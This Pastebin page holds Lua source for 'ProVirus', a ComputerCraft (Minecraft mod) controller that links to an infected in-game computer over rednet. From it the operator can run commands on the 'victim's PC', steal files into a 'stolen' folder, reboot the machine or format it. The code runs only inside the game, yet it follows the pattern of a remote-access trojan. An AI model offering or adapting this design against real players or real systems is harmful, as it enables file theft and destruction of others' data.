xXm0dzXx

Untitled

May 6th, 2012
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.00 KB | None | 0 0
  1. term.clear()
  2. term.setCursorPos(1,1)
  3.  
  4. rednet.open("left")
  5. rednet.open("right")
  6. rednet.open("back")
  7. rednet.open("top")
  8. function credits()
  9. term.clear()
  10. term.setCursorPos(1,1)
  11. print("---ProVirus---")
  12. print("ProVirus Made and coded by ComputerCraftFan11")
  13. end
  14. print("---ProVirus---")
  15. print("1. Check Computers")
  16. print("2. Credits")
  17. print("3. Quit")
  18. while true do
  19. local e,key = os.pullEvent( "key" )
  20. if key == 2 then
  21. break
  22. elseif key == 3 then
  23. credits()
  24. elseif key == 4 then
  25. os.reboot()
  26. end
  27. end
  28. term.clear()
  29. term.setCursorPos(1,1)
  30. print("---ProVirus---")
  31. print("Waiting for a computer to respond.")
  32. print("Make sure you intalled the virus correctly.")
  33. print("Press Ctrl+T to cancel.")
  34.  
  35. repeat
  36. sleep(0)
  37. id, message = rednet.receive()
  38. until message == "Hello" ..os.getComputerID()
  39.  
  40. rednet.send(id, "Received")
  41. term.clear()
  42. term.setCursorPos(1,1)
  43. print("---ProVirus---")
  44. print("Computer " ..id.. " has joined!")
  45. print("Would you like to hack that computer?")
  46. print("1. Yes")
  47. print("2. No")
  48. while true do
  49. local e,key = os.pullEvent( "key" )
  50. if key == 2 then
  51. break
  52. elseif key == 3 then
  53. os.reboot()
  54. end
  55. end
  56. function menu()
  57. term.clear()
  58. term.setCursorPos(1,1)
  59.  
  60. print("---ProVirus---")
  61. print("Connected to " ..id)
  62. print("Commands: | Fun: | Other: |")
  63. print("1.Error |2.FakeOff(5s)|3. |")
  64. print("4.Clear |5. |6. |")
  65. print("7.Reboot |8. |9. |")
  66. print("A.Run |B. |C. |")
  67. print("D.Copy |E. |F. |")
  68. print("\nX = Format (USE AT OWN RISK)")
  69. end
  70. menu()
  71. while true do
  72. local e,key,message = os.pullEvent()
  73. if e == "key" then
  74. if key == 2 then
  75. rednet.send(id, "Spam")
  76. menu()
  77. elseif key == 5 then
  78. rednet.send(id, "Clear")
  79. menu()
  80. elseif key == 8 then
  81. rednet.send(id, "Boot")
  82. menu()
  83. elseif key == 3 then
  84. rednet.send(id, "Off")
  85. menu()
  86. elseif key == 30 then
  87. term.clear()
  88. term.setCursorPos(1,1)
  89. print(os.version())
  90. print("Anything you type here will be ran on your victim's PC")
  91. write("> ")
  92. input = read()
  93. rednet.send(id, input)
  94. idm, message = rednet.receive(0.1)
  95. if message == "runfailed" and idm == id then
  96. print("No such program")
  97. sleep(0.5)
  98. end
  99. menu()
  100. elseif key == 32 then
  101. term.clear()
  102. term.setCursorPos(1,1)
  103. write("> steal ")
  104. rednet.send(id, "copy")
  105. filename = read()
  106. rednet.send(id, filename)
  107. idm, message = rednet.receive(0.1)
  108. if message == "runfailed" and idm == id then
  109. print("No such program")
  110. else
  111. if not fs.exists("stolen") then
  112. fs.makeDir("stolen")
  113. end
  114. file = fs.open("stolen/" ..filename, "w")
  115. file.write(message)
  116. file.close()
  117. print("Saved as stolen/" ..filename.. "!")
  118. end
  119. sleep(0.5)
  120. menu()
  121. elseif key == 45 then
  122. term.clear()
  123. term.setCursorPos(1,1)
  124. rednet.send(id, "format")
  125. print("Error: Computer #" ..id.. " no longer exists.")
  126. sleep(1)
  127. os.reboot()
  128. end
  129. end
  130. end
Advertisement
Add Comment
Please, Sign In to add comment